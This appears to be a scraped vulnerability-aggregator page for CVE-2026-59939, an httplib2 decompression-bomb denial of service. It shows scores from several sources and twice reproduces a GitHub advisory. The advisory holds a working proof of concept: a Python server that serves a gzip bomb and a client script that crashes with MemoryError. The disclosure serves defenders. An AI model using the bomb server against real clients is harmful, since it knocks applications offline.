CVE-2026-59939

httplib2: Decompression Bomb Denial of Service via Unbounded gzip/deflate Response Handling

7.5 HighFix available

httplib2 is a comprehensive HTTP client library for Python. Prior to 0.32.0, httplib2 performs unbounded decompression of HTTP response bodies encoded with Content-Encoding: gzip or deflate in _decompressContent in httplib2/init.py, allowing a malicious or compromised HTTP server to return a small compressed payload that expands to an arbitrarily large size in memory and causes MemoryError or OOM-kill in the client process. This issue is fixed in version 0.32.0.

Attack profile

How easy it is to exploit

Attack vector: Network
Complexity: Low
Privileges needed: None
User interaction: None

What an attacker can affect

Confidentiality: None
Integrity: None
Availability: High

Exploit likelihood

0.66%Up 0.3 points since Jul 9, 2026

What each source reports

CVE List Score used 7.5

httplib2: Decompression Bomb Denial of Service via Unbounded gzip/deflate Response Handling

Record: CVE-2026-59939
CVSS 3.1: 7.5 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Weakness: CWE-409
Updated: 2026-11-02

EUVDEUVD-2026-42364 7.5

Record: EUVD-2026-42364
CVSS 3.1: 7.5 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Updated: 2026-11-02

GitHub AdvisoriesGHSA-j5g9-f88f-gfj3 7.5

httplib2: Decompression Bomb Denial of Service via Unbounded gzip/deflate Response Handling

Summary

The httplib2 HTTP client library performs unbounded decompression of HTTP response bodies encoded with Content-Encoding: gzip or deflate. A malicious or compromised HTTP server can return a small compressed payload (approximately 150 KB) that expands to an arbitrarily large size in memory (150 MB or more), causing MemoryError or OOM-kill in the client process. This is a classic decompression bomb (zip bomb) attack against the HTTP client.

Any application using httplib2.Http().request() against untrusted or attacker-controlled HTTP endpoints is affected.

Details

Affected code: httplib2/__init__.py - _decompressContent() function

The decompression path has two unbounded operations:

gzip decompression (line 394):
```
content = gzip.GzipFile(fileobj=io.BytesIO(new_content)).read()
```
The .read() call with no size argument decompresses the entire gzip payload into a single in-memory bytes object. There is no limit on the decompressed size.
deflate decompression (line 397):
```
content = zlib.decompress(content, zlib.MAX_WBITS)
```
Similarly, zlib.decompress() returns the fully decompressed content as a single bytes object with no size bound.
Automatic invocation (line 1431): _decompressContent() is called automatically on every HTTP response that includes a Content-Encoding: gzip or deflate header. The full compressed body is already buffered in memory via response.read() before decompression begins.

Root cause: There is no max_decompressed_size, streaming decompression with size tracking, or decompression ratio check anywhere in the decompression path. The library unconditionally trusts the server's compressed payload size.

Attack vector: Any HTTP server (including man-in-the-middle attackers or compromised upstream services) can trigger this by returning a response with:

Content-Encoding: gzip header
A small compressed body that decompresses to an arbitrarily large size

Proof of Concept

Step 1 - Start a malicious HTTP server that serves a gzip decompression bomb:

#!/usr/bin/env python3
"""Malicious HTTP server that serves a gzip decompression bomb."""
import gzip
import http.server
import io
import socketserver

UNCOMPRESSED_SIZE = 150 * 1024 * 1024  # 150 MB

def make_payload():
    """Create a gzip payload: ~150 KB compressed -> 150 MB decompressed."""
    buf = io.BytesIO()
    with gzip.GzipFile(fileobj=buf, mode="wb", compresslevel=9) as gz:
        chunk = b"A" * (1024 * 1024)  # 1 MB of repeating bytes
        for _ in range(UNCOMPRESSED_SIZE // len(chunk)):
            gz.write(chunk)
    return buf.getvalue()

PAYLOAD = make_payload()

class Handler(http.server.BaseHTTPRequestHandler):
    def do_GET(self):
        self.send_response(200)
        self.send_header("Content-Type", "application/octet-stream")
        self.send_header("Content-Encoding", "gzip")
        self.send_header("Content-Length", str(len(PAYLOAD)))
        self.end_headers()
        self.wfile.write(PAYLOAD)
    def log_message(self, fmt, *args):
        pass

with socketserver.TCPServer(("127.0.0.1", 8000), Handler) as httpd:
    print(f"Bomb server ready: {len(PAYLOAD)} bytes compressed -> "
          f"{UNCOMPRESSED_SIZE} bytes decompressed")
    httpd.serve_forever()

Step 2 - Run the httplib2 client (in a separate terminal):

#!/usr/bin/env python3
"""Client that demonstrates MemoryError from httplib2 decompression bomb."""
import resource
import httplib2

# Set a 180 MB memory limit to make the crash deterministic
LIMIT_MB = 180
limit = LIMIT_MB * 1024 * 1024
resource.setrlimit(resource.RLIMIT_AS, (limit, limit))

http = httplib2.Http(timeout=5)
try:
    response, content = http.request("http://127.0.0.1:8000/")
    print(f"Unexpected success: received {len(content)} bytes")
except MemoryError:
    print(f"MemoryError confirmed: decompression bomb exhausted "
         …

Record: GHSA-j5g9-f88f-gfj3
CVSS 3.1: 7.5 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Weakness: CWE-400, CWE-409, CWE-770
Updated: 2026-11-02

NVD 7.5

Record: CVE-2026-59939
CVSS 3.1: 7.5 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Weakness: CWE-409
Updated: 2026-11-02

OSV 7.5

httplib2: Decompression Bomb Denial of Service via Unbounded gzip/deflate Response Handling

Record: CVE-2026-59939
CVSS 3.1: 7.5 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Weakness: CWE-409
Updated: 2026-11-02

OSVDEBIAN-CVE-2026-59939 7.5

Record: DEBIAN-CVE-2026-59939
CVSS 3.1: 7.5 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Updated: 2026-11-02

Show 27 moreShow less

OSVGHSA-j5g9-f88f-gfj3 7.5

httplib2: Decompression Bomb Denial of Service via Unbounded gzip/deflate Response Handling

Summary

Any application using httplib2.Http().request() against untrusted or attacker-controlled HTTP endpoints is affected.

Details

Affected code: httplib2/__init__.py - _decompressContent() function

The decompression path has two unbounded operations:

gzip decompression (line 394):
```
content = gzip.GzipFile(fileobj=io.BytesIO(new_content)).read()
```
The .read() call with no size argument decompresses the entire gzip payload into a single in-memory bytes object. There is no limit on the decompressed size.
deflate decompression (line 397):
```
content = zlib.decompress(content, zlib.MAX_WBITS)
```
Similarly, zlib.decompress() returns the fully decompressed content as a single bytes object with no size bound.
Automatic invocation (line 1431): _decompressContent() is called automatically on every HTTP response that includes a Content-Encoding: gzip or deflate header. The full compressed body is already buffered in memory via response.read() before decompression begins.

Attack vector: Any HTTP server (including man-in-the-middle attackers or compromised upstream services) can trigger this by returning a response with:

Content-Encoding: gzip header
A small compressed body that decompresses to an arbitrarily large size

Proof of Concept

Step 1 - Start a malicious HTTP server that serves a gzip decompression bomb:

#!/usr/bin/env python3
"""Malicious HTTP server that serves a gzip decompression bomb."""
import gzip
import http.server
import io
import socketserver

UNCOMPRESSED_SIZE = 150 * 1024 * 1024  # 150 MB

def make_payload():
    """Create a gzip payload: ~150 KB compressed -> 150 MB decompressed."""
    buf = io.BytesIO()
    with gzip.GzipFile(fileobj=buf, mode="wb", compresslevel=9) as gz:
        chunk = b"A" * (1024 * 1024)  # 1 MB of repeating bytes
        for _ in range(UNCOMPRESSED_SIZE // len(chunk)):
            gz.write(chunk)
    return buf.getvalue()

PAYLOAD = make_payload()

class Handler(http.server.BaseHTTPRequestHandler):
    def do_GET(self):
        self.send_response(200)
        self.send_header("Content-Type", "application/octet-stream")
        self.send_header("Content-Encoding", "gzip")
        self.send_header("Content-Length", str(len(PAYLOAD)))
        self.end_headers()
        self.wfile.write(PAYLOAD)
    def log_message(self, fmt, *args):
        pass

with socketserver.TCPServer(("127.0.0.1", 8000), Handler) as httpd:
    print(f"Bomb server ready: {len(PAYLOAD)} bytes compressed -> "
          f"{UNCOMPRESSED_SIZE} bytes decompressed")
    httpd.serve_forever()

Step 2 - Run the httplib2 client (in a separate terminal):

#!/usr/bin/env python3
"""Client that demonstrates MemoryError from httplib2 decompression bomb."""
import resource
import httplib2

# Set a 180 MB memory limit to make the crash deterministic
LIMIT_MB = 180
limit = LIMIT_MB * 1024 * 1024
resource.setrlimit(resource.RLIMIT_AS, (limit, limit))

http = httplib2.Http(timeout=5)
try:
    response, content = http.request("http://127.0.0.1:8000/")
    print(f"Unexpected success: received {len(content)} bytes")
except MemoryError:
    print(f"MemoryError confirmed: decompression bomb exhausted "
         …

Record: GHSA-j5g9-f88f-gfj3
CVSS 3.1: 7.5 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Weakness: CWE-400, CWE-409, CWE-770
Updated: 2026-11-02

OSVPYSEC-2026-3444 7.5

Record: PYSEC-2026-3444
CVSS 3.1: 7.5 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Updated: 2026-11-02

OSVRHSA-2026:47736 7.5